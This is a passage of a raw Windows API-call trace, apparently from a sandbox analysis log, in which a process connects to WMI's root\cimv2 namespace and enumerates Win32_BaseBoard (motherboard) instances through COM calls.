[2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x4ea0898 | out: ppv=0x4ea0898*=0x84ea70) returned 0x0 [0265.836] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea08e8 [0265.836] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0950 [0265.836] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea09b0 [0265.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0265.836] GetCurrentThreadId () returned 0xe44 [0265.836] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0265.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0265.836] GetCurrentThreadId () returned 0xe44 [0265.836] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x54f158 | out: phkResult=0x54f158*=0x298) returned 0x0 [0265.836] RegQueryValueExW (in: hKey=0x298, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54f160*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54f160*=0x16) returned 0x0 [0265.836] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea09d0 [0265.836] RegQueryValueExW (in: hKey=0x298, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x4ea09d0, lpcbData=0x54f160*=0x16 | out: lpType=0x0, lpData=0x4ea09d0*=0x72, lpcbData=0x54f160*=0x16) returned 0x0 [0265.836] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea09f0 [0265.837] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0265.837] RegCloseKey (hKey=0x298) returned 0x0 [0265.837] CoCreateInstance (in: rclsid=0x721d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x721d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x54f18c | out: ppv=0x54f18c*=0x84be40) returned 0x0 [0265.843] SysStringLen (param_1=".") returned 0x1 [0265.843] WbemDefPath:IWbemPath:SetServer (This=0x84be40, Name=".") returned 0x0 [0265.843] CoCreateInstance (in: rclsid=0x721d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x721d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x54f144 | out: ppv=0x54f144*=0x84beb0) returned 0x0 [0265.844] CoCreateInstance (in: rclsid=0x721d53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x721d50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x54f0e8 | out: ppv=0x54f0e8*=0x84bf20) returned 0x0 [0265.844] WbemDefPath:IWbemPath:SetText (This=0x84bf20, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0265.864] WbemDefPath:IUnknown:Release (This=0x84bf20) returned 0x0 [0265.865] SysStringLen (param_1="root\\cimv2") returned 0xa [0265.865] WbemDefPath:IWbemPath:SetText (This=0x84beb0, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0265.865] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84beb0, puCount=0x54f154 | out: puCount=0x54f154*=0x2) returned 0x0 [0265.865] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x84be40) returned 0x0 [0265.865] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x84beb0, uIndex=0x0, puNameBufLength=0x54f11c*=0x0, pName=0x0 | out: puNameBufLength=0x54f11c*=0x5, pName=0x0) returned 0x0 [0265.865] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0810 [0265.865] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x84beb0, uIndex=0x0, puNameBufLength=0x54f11c*=0x5, pName="৐ӪÄӪ\x03" | out: puNameBufLength=0x54f11c*=0x5, pName="root") returned 0x0 [0265.865] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0265.865] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x84be40, uIndex=0x0, pszName="root") returned 0x0 [0265.865] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x84beb0, uIndex=0x1, puNameBufLength=0x54f11c*=0x0, pName=0x0 | out: puNameBufLength=0x54f11c*=0x6, pName=0x0) returned 0x0 [0265.865] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0810 [0265.865] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x84beb0, uIndex=0x1, puNameBufLength=0x54f11c*=0x6, pName="৐ӪÄӪ" | out: puNameBufLength=0x54f11c*=0x6, pName="cimv2") returned 0x0 [0265.865] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0265.865] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x84be40, uIndex=0x1, pszName="cimv2") returned 0x0 [0265.865] WbemDefPath:IUnknown:Release (This=0x84beb0) returned 0x0 [0265.865] WbemDefPath:IWbemPath:GetText (in: This=0x84be40, lFlags=4, puBuffLength=0x54f170*=0x0, pszText=0x0 | out: puBuffLength=0x54f170*=0xf, pszText=0x0) returned 0x0 [0265.866] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0a10 [0265.866] WbemDefPath:IWbemPath:GetText (in: This=0x84be40, lFlags=4, puBuffLength=0x54f170*=0xf, pszText="ÄӪ৐Ӫ" | out: puBuffLength=0x54f170*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.866] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0265.866] WbemDefPath:IUnknown:Release (This=0x84be40) returned 0x0 [0265.866] WbemLocator:IWbemLocator:ConnectServer (in: This=0x84ea70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x54f1f8 | out: ppNamespace=0x54f1f8*=0x816618) returned 0x0 [0266.173] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0a10 [0266.173] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0a80 [0266.173] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0ae0 [0266.173] WbemLocator:IUnknown:QueryInterface (in: This=0x816618, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f0c8 | out: ppvObject=0x54f0c8*=0x8666b4) returned 0x0 [0266.173] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8666b4, pProxy=0x816618, pAuthnSvc=0x54f0b8, pAuthzSvc=0x54f0bc, pServerPrincName=0x0, pAuthnLevel=0x54f0e4, pImpLevel=0x54f0e0, pAuthInfo=0x0, pCapabilites=0x54f0d0 | out: pAuthnSvc=0x54f0b8*=0xa, pAuthzSvc=0x54f0bc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54f0e4*=0x6, pImpLevel=0x54f0e0*=0x2, pAuthInfo=0x0, pCapabilites=0x54f0d0*=0x1) returned 0x0 [0266.173] WbemLocator:IUnknown:Release (This=0x8666b4) returned 0x1 [0266.173] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.174] GetCurrentThreadId () returned 0xe44 [0266.174] WbemLocator:IUnknown:QueryInterface (in: This=0x816618, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f0f8 | out: ppvObject=0x54f0f8*=0x8666b4) returned 0x0 [0266.174] WbemLocator:IClientSecurity:CopyProxy (in: This=0x8666b4, pProxy=0x816618, ppCopy=0x54f0fc | out: ppCopy=0x54f0fc*=0x8166b8) returned 0x0 [0266.174] WbemLocator:IUnknown:QueryInterface (in: This=0x8166b8, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f014 | out: ppvObject=0x54f014*=0x8666b4) returned 0x0 [0266.174] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8666b4, pProxy=0x8166b8, pAuthnSvc=0x54f038, pAuthzSvc=0x54f028, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x54f038*=0xa, pAuthzSvc=0x54f028*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0266.174] WbemLocator:IUnknown:Release (This=0x8666b4) returned 0x3 [0266.174] WbemLocator:IUnknown:QueryInterface (in: This=0x8166b8, riid=0x721d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54efec | out: ppvObject=0x54efec*=0x8666d4) returned 0x0 [0266.175] WbemLocator:IUnknown:QueryInterface (in: This=0x8166b8, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eff0 | out: ppvObject=0x54eff0*=0x8666b4) returned 0x0 [0266.175] WbemLocator:IClientSecurity:SetBlanket (This=0x8666b4, pProxy=0x8166b8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0266.175] WbemLocator:IUnknown:Release (This=0x8666b4) returned 0x4 [0266.175] WbemLocator:IUnknown:Release (This=0x8666d4) returned 0x3 [0266.175] WbemLocator:IUnknown:Release (This=0x8666b4) returned 0x2 [0266.175] WbemLocator:IUnknown:AddRef (This=0x8166b8) returned 0x3 [0266.175] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0b98 [0266.175] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea09d0 [0266.175] WbemLocator:IUnknown:Release (This=0x816618) returned 0x2 [0266.175] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.175] GetCurrentThreadId () returned 0xe44 [0266.176] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.176] GetCurrentThreadId () returned 0xe44 [0266.176] WbemLocator:IUnknown:QueryInterface (in: This=0x8166b8, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1bc | out: ppvObject=0x54f1bc*=0x8666b4) returned 0x0 [0266.176] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8666b4, pProxy=0x8166b8, pAuthnSvc=0x54f1ac, pAuthzSvc=0x54f1b0, pServerPrincName=0x0, pAuthnLevel=0x54f1dc, pImpLevel=0x54f1e0, pAuthInfo=0x0, pCapabilites=0x54f1c4 | out: pAuthnSvc=0x54f1ac*=0xa, pAuthzSvc=0x54f1b0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54f1dc*=0x6, pImpLevel=0x54f1e0*=0x3, pAuthInfo=0x0, pCapabilites=0x54f1c4*=0x20) returned 0x0 [0266.176] WbemLocator:IUnknown:Release (This=0x8666b4) returned 0x2 [0266.176] CreatePointerMoniker (in: punk=0x4ea0a10, ppmk=0x54f36c | out: ppmk=0x54f36c*=0x85ede8) returned 0x0 [0266.176] IUnknown:AddRef (This=0x4ea0a10) returned 0x2 [0266.176] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0266.176] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0266.177] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0266.177] WbemLocator:IUnknown:Release (This=0x84ea70) returned 0x0 [0266.177] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0266.177] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0266.177] WinMGMTS:IUnknown:Release (This=0x4ea0850) returned 0x0 [0266.177] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0266.179] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ee74 | out: ppvObject=0x54ee74*=0x85ede8) returned 0x0 [0266.179] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54ee28 | out: ppvObject=0x54ee28*=0x0) returned 0x80004002 [0266.179] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54ec50 | out: ppvObject=0x54ec50*=0x0) returned 0x80004002 [0266.180] IUnknown:AddRef (This=0x85ede8) returned 0x3 [0266.180] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e784 | out: ppvObject=0x54e784*=0x0) returned 0x80004002 [0266.180] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e734 | out: ppvObject=0x54e734*=0x0) returned 0x80004002 [0266.180] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e740 | out: ppvObject=0x54e740*=0x85edfc) returned 0x0 [0266.180] IMarshal:GetUnmarshalClass (in: This=0x85edfc, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e748 | out: pCid=0x54e748*(Data1=0x306, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0266.180] IUnknown:Release (This=0x85edfc) returned 0x3 [0266.180] CoGetContextToken (in: pToken=0x54e7a0 | out: pToken=0x54e7a0) returned 0x0 [0266.181] CoGetContextToken (in: pToken=0x54ebb4 | out: pToken=0x54ebb4) returned 0x0 [0266.181] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ec34 | out: ppvObject=0x54ec34*=0x0) returned 0x80004002 [0266.181] IUnknown:Release (This=0x85ede8) returned 0x2 [0266.181] CoGetContextToken (in: pToken=0x54f184 | out: pToken=0x54f184) returned 0x0 [0266.181] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0266.181] IUnknown:QueryInterface (in: This=0x85ede8, riid=0x54f1b4*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f1b0 | out: ppvObject=0x54f1b0*=0x85ede8) returned 0x0 [0266.181] IUnknown:AddRef (This=0x85ede8) returned 0x4 [0266.181] IUnknown:Release (This=0x85ede8) returned 0x3 [0266.181] IUnknown:Release (This=0x8439f0) returned 0x2 [0266.181] IUnknown:Release (This=0x85ede8) returned 0x2 [0266.182] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0266.182] IUnknown:AddRef (This=0x85ede8) returned 0x3 [0266.182] BindMoniker (in: pmk=0x85ede8, grfOpt=0x0, iidResult=0x252c938*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x54f3b4 | out: ppvResult=0x54f3b4*=0x4ea0a10) returned 0x0 [0266.182] IUnknown:QueryInterface (in: This=0x4ea0a10, riid=0x252c938*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f3b4 | out: ppvObject=0x54f3b4*=0x4ea0a10) returned 0x0 [0266.187] LoadRegTypeLib (in: rguid=0x721d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x54ec20*=0x0 | out: pptlib=0x54ec20*=0x86a8d8) returned 0x0 [0266.462] ITypeLib:GetTypeInfoOfGuid (in: This=0x86a8d8, GUID=0x4ea0a54*(Data1=0x62e522dc, Data2=0x8cf3, Data3=0x40a8, Data4=([0]=0x8b, [1]=0x2e, [2]=0x37, [3]=0xd5, [4]=0x95, [5]=0x65, [6]=0x1e, [7]=0x40)), ppTInfo=0x4ea0a3c | out: ppTInfo=0x4ea0a3c*=0x86c32c) returned 0x0 [0266.463] IUnknown:Release (This=0x86a8d8) returned 0x1 [0266.463] IUnknown:AddRef (This=0x86c32c) returned 0x2 [0266.463] ITypeInfo:RemoteGetTypeAttr (in: This=0x86c32c, ppTypeAttr=0x54ec50, pDummy=0xc2320484 | out: ppTypeAttr=0x54ec50, pDummy=0xc2320484) returned 0x0 [0266.472] ITypeInfo:LocalReleaseTypeAttr (This=0x86c32c) returned 0x831650 [0266.472] IUnknown:Release (This=0x86c32c) returned 0x1 [0266.473] CoGetContextToken (in: pToken=0x54e7a4 | out: pToken=0x54e7a4) returned 0x0 [0266.473] CoGetContextToken (in: pToken=0x54ebb4 | out: pToken=0x54ebb4) returned 0x0 [0266.473] IUnknown:Release (This=0x85ede8) returned 0x2 [0266.609] CoGetContextToken (in: pToken=0x54ee84 | out: pToken=0x54ee84) returned 0x0 [0266.609] LoadRegTypeLib (in: rguid=0x721d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x54ee94*=0x0 | out: pptlib=0x54ee94*=0x86a8d8) returned 0x0 [0266.611] ITypeLib:GetTypeInfoOfGuid (in: This=0x86a8d8, GUID=0x4ea0a44*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x4ea0a38 | out: ppTInfo=0x4ea0a38*=0x86c358) returned 0x0 [0266.611] IUnknown:Release (This=0x86a8d8) returned 0x2 [0266.611] IUnknown:AddRef (This=0x86c358) returned 0x2 [0266.611] DispGetIDsOfNames (in: ptinfo=0x86c358, rgszNames=0x54eef0*="InstancesOf", cNames=0x1, rgdispid=0x54eee0 | out: rgdispid=0x54eee0*=5) returned 0x0 [0266.671] IUnknown:Release (This=0x86c358) returned 0x1 [0266.674] IUnknown:AddRef (This=0x86c358) returned 0x2 [0266.674] ITypeInfo:LocalInvoke (This=0x86c358) returned 0x0 [0266.674] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.674] GetCurrentThreadId () returned 0xe44 [0266.674] WbemLocator:IUnknown:AddRef (This=0x8166b8) returned 0x3 [0266.674] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.674] GetCurrentThreadId () returned 0xe44 [0266.674] IWbemServices:CreateInstanceEnum (in: This=0x8166b8, strFilter="Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x54eb34 | out: ppEnum=0x54eb34*=0x86d038) returned 0x0 [0266.757] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0850 [0266.757] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea08b0 [0266.757] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0910 [0266.757] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0970 [0266.757] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0bf8 [0266.757] IUnknown:QueryInterface (in: This=0x86d038, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ea4c | out: ppvObject=0x54ea4c*=0x86d03c) returned 0x0 [0266.758] IClientSecurity:QueryBlanket (in: This=0x86d03c, pProxy=0x86d038, pAuthnSvc=0x54ea3c, pAuthzSvc=0x54ea40, pServerPrincName=0x0, pAuthnLevel=0x54ea68, pImpLevel=0x54ea64, pAuthInfo=0x0, pCapabilites=0x54ea54 | out: pAuthnSvc=0x54ea3c*=0xa, pAuthzSvc=0x54ea40*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54ea68*=0x6, pImpLevel=0x54ea64*=0x2, pAuthInfo=0x0, pCapabilites=0x54ea54*=0x1) returned 0x0 [0266.758] IUnknown:Release (This=0x86d03c) returned 0x1 [0266.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.758] GetCurrentThreadId () returned 0xe44 [0266.758] WbemLocator:IUnknown:QueryInterface (in: This=0x8166b8, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ea30 | out: ppvObject=0x54ea30*=0x8666b4) returned 0x0 [0266.758] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8666b4, pProxy=0x8166b8, pAuthnSvc=0x54ea20, pAuthzSvc=0x54ea24, pServerPrincName=0x0, pAuthnLevel=0x54ea50, pImpLevel=0x54ea54, pAuthInfo=0x0, pCapabilites=0x54ea38 | out: pAuthnSvc=0x54ea20*=0xa, pAuthzSvc=0x54ea24*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54ea50*=0x6, pImpLevel=0x54ea54*=0x3, pAuthInfo=0x0, pCapabilites=0x54ea38*=0x20) returned 0x0 [0266.758] WbemLocator:IUnknown:Release (This=0x8666b4) returned 0x3 [0266.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.758] GetCurrentThreadId () returned 0xe44 [0266.758] WbemLocator:IUnknown:QueryInterface (in: This=0x8166b8, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ea30 | out: ppvObject=0x54ea30*=0x8666b4) returned 0x0 [0266.758] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8666b4, pProxy=0x8166b8, pAuthnSvc=0x54ea20, pAuthzSvc=0x54ea24, pServerPrincName=0x0, pAuthnLevel=0x54ea54, pImpLevel=0x54ea50, pAuthInfo=0x0, pCapabilites=0x54ea38 | out: pAuthnSvc=0x54ea20*=0xa, pAuthzSvc=0x54ea24*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54ea54*=0x6, pImpLevel=0x54ea50*=0x3, pAuthInfo=0x0, pCapabilites=0x54ea38*=0x20) returned 0x0 [0266.758] WbemLocator:IUnknown:Release (This=0x8666b4) returned 0x3 [0266.758] IUnknown:QueryInterface (in: This=0x86d038, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ea7c | out: ppvObject=0x54ea7c*=0x86d03c) returned 0x0 [0266.758] IClientSecurity:CopyProxy (in: This=0x86d03c, pProxy=0x86d038, ppCopy=0x54ea80 | out: ppCopy=0x54ea80*=0x86d100) returned 0x0 [0266.759] IUnknown:QueryInterface (in: This=0x86d100, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e998 | out: ppvObject=0x54e998*=0x86d104) returned 0x0 [0266.759] IClientSecurity:QueryBlanket (in: This=0x86d104, pProxy=0x86d100, pAuthnSvc=0x54e9bc, pAuthzSvc=0x54e9ac, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x54e9bc*=0xa, pAuthzSvc=0x54e9ac*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0266.759] IUnknown:Release (This=0x86d104) returned 0x3 [0266.759] IUnknown:QueryInterface (in: This=0x86d100, riid=0x721d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e970 | out: ppvObject=0x54e970*=0x86f03c) returned 0x0 [0266.759] IUnknown:QueryInterface (in: This=0x86d100, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e974 | out: ppvObject=0x54e974*=0x86d104) returned 0x0 [0266.759] IClientSecurity:SetBlanket (This=0x86d104, pProxy=0x86d100, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0266.976] IUnknown:Release (This=0x86d104) returned 0x4 [0266.976] WbemLocator:IUnknown:Release (This=0x86f03c) returned 0x3 [0266.976] IUnknown:Release (This=0x86d03c) returned 0x2 [0266.976] IUnknown:AddRef (This=0x86d100) returned 0x3 [0266.976] IUnknown:Release (This=0x86d038) returned 0x2 [0266.976] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x54eaec | out: pperrinfo=0x54eaec*=0x0) returned 0x1 [0266.977] WbemLocator:IUnknown:Release (This=0x8166b8) returned 0x2 [0266.977] IUnknown:Release 